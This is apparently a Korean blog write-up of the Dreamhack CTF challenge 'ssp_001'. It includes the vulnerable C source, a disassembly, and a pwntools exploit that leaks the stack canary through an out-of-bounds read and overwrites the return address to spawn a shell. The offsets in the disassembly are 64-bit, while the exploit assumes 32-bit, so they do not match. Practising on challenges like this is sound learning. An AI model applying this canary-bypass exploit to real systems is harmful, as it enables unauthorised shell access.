Information Security

[Dreamhack] ssp_001 본문

INTERLUDE/System Hacking

[Dreamhack] ssp_001

sohexz 2022. 11. 3. 19:27

https://dreamhack.io/wargame/challenges/33/

 

ssp_001

Description 이 문제는 작동하고 있는 서비스(ssp_001)의 바이너리와 소스코드가 주어집니다. 프로그램의 취약점을 찾고 SSP 방어 기법을 우회하여 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세

dreamhack.io

파일

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

 

Stack Smashing Protector(SSP)는 메모리 커럽션 취약점 중 스택 버퍼 오버플로우 취약점을 막기 위해 개발된 보호 기법

SSP는 스택 버퍼와 스택 프레임 포인터 사이에 랜덤 값을 삽입하여 함수 종료 시점에서 랜덤 값 변조 여부를 검사함으로써 스택이 망가뜨려졌는지를 확인

 

ssp_001.c를 컴파일하여 실행해보자

F, P, E 메뉴를 이용해 서비스를 제공하고 있고 F는 box에 입력, P는 입력한 box 내용 출력, E는 종료가 됨

 

pwndbg로  디스어셈블 코드를 살펴보자

https://haerinn.tistory.com/59

 

[Pwnable] pwndbg 주요 사용법

GDB GDB(GNU debugger)는 GNU 소프트웨어 시스템을 위한 표준 debugger이다. 실행 방법 gdb [프로그램명] 종료 방법 q (quit_ Ctrl + d 소스 보기 ( gdb 실행 시 소스 폴더에서 구동해야 가능함. ) l : main 함수를 기

haerinn.tistory.com

 

 

   0x00005555555552d3 <+0>:     push   rbp
   0x00005555555552d4 <+1>:     mov    rbp,rsp
   0x00005555555552d7 <+4>:     sub    rsp,0xa0
   0x00005555555552de <+11>:    mov    DWORD PTR [rbp-0x94],edi
   0x00005555555552e4 <+17>:    mov    QWORD PTR [rbp-0xa0],rsi
   0x00005555555552eb <+24>:    mov    QWORD PTR [rbp-0x40],0x0
   0x00005555555552f3 <+32>:    mov    QWORD PTR [rbp-0x38],0x0
   0x00005555555552fb <+40>:    mov    QWORD PTR [rbp-0x30],0x0
   0x0000555555555303 <+48>:    mov    QWORD PTR [rbp-0x28],0x0
   0x000055555555530b <+56>:    mov    QWORD PTR [rbp-0x20],0x0
   0x0000555555555313 <+64>:    mov    QWORD PTR [rbp-0x18],0x0
   0x000055555555531b <+72>:    mov    QWORD PTR [rbp-0x10],0x0
   0x0000555555555323 <+80>:    mov    QWORD PTR [rbp-0x8],0x0
   0x000055555555532b <+88>:    mov    QWORD PTR [rbp-0x80],0x0
   0x0000555555555333 <+96>:    mov    QWORD PTR [rbp-0x78],0x0
   0x000055555555533b <+104>:   mov    QWORD PTR [rbp-0x70],0x0
   0x0000555555555343 <+112>:   mov    QWORD PTR [rbp-0x68],0x0
   0x000055555555534b <+120>:   mov    QWORD PTR [rbp-0x60],0x0
   0x0000555555555353 <+128>:   mov    QWORD PTR [rbp-0x58],0x0
   0x000055555555535b <+136>:   mov    QWORD PTR [rbp-0x50],0x0
   0x0000555555555363 <+144>:   mov    QWORD PTR [rbp-0x48],0x0
   0x000055555555536b <+152>:   mov    WORD PTR [rbp-0x82],0x0
   0x0000555555555374 <+161>:   mov    DWORD PTR [rbp-0x88],0x0
   0x000055555555537e <+171>:   mov    DWORD PTR [rbp-0x8c],0x0
   0x0000555555555388 <+181>:   mov    eax,0x0
   0x000055555555538d <+186>:   call   0x5555555551d6 <initialize>
   0x0000555555555392 <+191>:   mov    eax,0x0
   0x0000555555555397 <+196>:   call   0x55555555528b <menu>
   0x000055555555539c <+201>:   lea    rax,[rbp-0x82]
   0x00005555555553a3 <+208>:   mov    edx,0x2
   0x00005555555553a8 <+213>:   mov    rsi,rax
   0x00005555555553ab <+216>:   mov    edi,0x0
   0x00005555555553b0 <+221>:   call   0x555555555070 <read@plt>
   0x00005555555553b5 <+226>:   movzx  eax,BYTE PTR [rbp-0x82]
   0x00005555555553bc <+233>:   movsx  eax,al
   0x00005555555553bf <+236>:   cmp    eax,0x50
   0x00005555555553c2 <+239>:   je     0x55555555540e <main+315>
   0x00005555555553c4 <+241>:   cmp    eax,0x50
   0x00005555555553c7 <+244>:   jg     0x5555555554bd <main+490>
   0x00005555555553cd <+250>:   cmp    eax,0x45
   0x00005555555553d0 <+253>:   je     0x555555555456 <main+387>
   0x00005555555553d6 <+259>:   cmp    eax,0x46
   0x00005555555553d9 <+262>:   jne    0x5555555554bd <main+490>
   0x00005555555553df <+268>:   lea    rax,[rip+0xc82]        # 0x555555556068
   0x00005555555553e6 <+275>:   mov    rdi,rax
   0x00005555555553e9 <+278>:   mov    eax,0x0
   0x00005555555553ee <+283>:   call   0x555555555050 <printf@plt>
   0x00005555555553f3 <+288>:   lea    rax,[rbp-0x40]
   0x00005555555553f7 <+292>:   mov    edx,0x40
   0x00005555555553fc <+297>:   mov    rsi,rax
   0x00005555555553ff <+300>:   mov    edi,0x0
   0x0000555555555404 <+305>:   call   0x555555555070 <read@plt>
   0x0000555555555409 <+310>:   jmp    0x5555555554be <main+491>
   0x000055555555540e <+315>:   lea    rax,[rip+0xc60]        # 0x555555556075
   0x0000555555555415 <+322>:   mov    rdi,rax
   0x0000555555555418 <+325>:   mov    eax,0x0
   0x000055555555541d <+330>:   call   0x555555555050 <printf@plt>
   0x0000555555555422 <+335>:   lea    rax,[rbp-0x88]
   0x0000555555555429 <+342>:   mov    rsi,rax
   0x000055555555542c <+345>:   lea    rax,[rip+0xc53]        # 0x555555556086
   0x0000555555555433 <+352>:   mov    rdi,rax
   0x0000555555555436 <+355>:   mov    eax,0x0
   0x000055555555543b <+360>:   call   0x5555555550a0 <__isoc99_scanf@plt>
   0x0000555555555440 <+365>:   mov    edx,DWORD PTR [rbp-0x88]
   0x0000555555555446 <+371>:   lea    rax,[rbp-0x40]
   0x000055555555544a <+375>:   mov    esi,edx
   0x000055555555544c <+377>:   mov    rdi,rax
   0x000055555555544f <+380>:   call   0x55555555524d <print_box>
   0x0000555555555454 <+385>:   jmp    0x5555555554be <main+491>
   0x0000555555555456 <+387>:   lea    rax,[rip+0xc2c]        # 0x555555556089
   0x000055555555545d <+394>:   mov    rdi,rax
   0x0000555555555460 <+397>:   mov    eax,0x0
   0x0000555555555465 <+402>:   call   0x555555555050 <printf@plt>
   0x000055555555546a <+407>:   lea    rax,[rbp-0x8c]
   0x0000555555555471 <+414>:   mov    rsi,rax
   0x0000555555555474 <+417>:   lea    rax,[rip+0xc0b]        # 0x555555556086
   0x000055555555547b <+424>:   mov    rdi,rax
   0x000055555555547e <+427>:   mov    eax,0x0
   0x0000555555555483 <+432>:   call   0x5555555550a0 <__isoc99_scanf@plt>
   0x0000555555555488 <+437>:   lea    rax,[rip+0xc07]        # 0x555555556096
   0x000055555555548f <+444>:   mov    rdi,rax
   0x0000555555555492 <+447>:   mov    eax,0x0
   0x0000555555555497 <+452>:   call   0x555555555050 <printf@plt>
   0x000055555555549c <+457>:   mov    eax,DWORD PTR [rbp-0x8c]
   0x00005555555554a2 <+463>:   movsxd rdx,eax
   0x00005555555554a5 <+466>:   lea    rax,[rbp-0x80]
   0x00005555555554a9 <+470>:   mov    rsi,rax
   0x00005555555554ac <+473>:   mov    edi,0x0
   0x00005555555554b1 <+478>:   call   0x555555555070 <read@plt>
   0x00005555555554b6 <+483>:   mov    eax,0x0
   0x00005555555554bb <+488>:   jmp    0x5555555554c3 <main+496>
   0x00005555555554bd <+490>:   nop
   0x00005555555554be <+491>:   jmp    0x555555555392 <main+191>
   0x00005555555554c3 <+496>:   leave  
   0x00005555555554c4 <+497>:   ret

 

--- 이어서 풀이 ---

box 배열의 주소: ebp-0x88

canary 값은 ebp-0x8에 위치 ->  canary의 시작 주소는 box 배열의 주소로부터 0x80 바이트 떨어져 있음

 

exploit 코드

from pwn import *

# p = process('./ssp_001')
p = remote('host3.dreamhack.games', 15033)

canary = b''
get_shell = 0x080486b9

for i in range(0x83, 0x7f, -1) :
    p.sendafter('> ','P') #read
    p.sendlineafter(' : ', bytes(str(i),'utf-8')) #scanf
    p.recvuntil(' : ')
    canary += p.recv(2)
    # print(p.recv(2))
canary = int(canary,16)
print('canary : 0x%08x'%canary)

payload = b''
payload += b'\x90' * 0x40
payload += p32(canary)
payload += b'D'*4 #dummy
payload += b'S'*4 #sfp
payload += p32(get_shell) #ret -> get_shell

p.sendafter('> ', 'E')
p.sendlineafter(' : ', '200')
p.sendafter(' : ',payload)
p.interactive()

 

참고 블로그

https://fascination-euna.tistory.com/entry/Dreamhack-ssp001

 

[Dreamhack] ssp_001

ssp_001 이 문제는 작동하고 있는 서비스(ssp_001)의 바이너리와 소스코드가 주어집니다. 프로그램의 취약점을 찾고 SSP 방어 기법을 우회하여 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세

fascination-euna.tistory.com

https://thfist-1071.tistory.com/m/entry/Dreamhack-Wargame-SSP001-%EC%8A%A4%ED%83%9D-%EC%88%9C%EC%84%9C%EC%9D%98-%EA%B6%81%EA%B8%88%EC%A6%9D

 

[Dreamhack Wargame] SSP_001, 스택 순서의 궁금증

나름 오랜만에 롸업을 써 봅니다. 꾸준히 공부하고 싶은데.. 사실 교양보다 내가 하고싶은 공부를 하고 싶어요. 대학 와서 뭔가 자신감은 생긴 느낌입니다. 요즘 행복하기도 하고..? 서론 이번 문

thfist-1071.tistory.com

 

'INTERLUDE > System Hacking' 카테고리의 다른 글

[Dreamhack] out_of_bound  (0) 2022.11.15
[Dreamhack] Return to Shellcode  (0) 2022.11.10
[Dreamhack] Return Address Overwrite  (1) 2022.11.01
[Dreamhack] shell_basic  (0) 2022.09.29
[Dreamhack] pwngdb, pwntools 설치  (0) 2022.09.29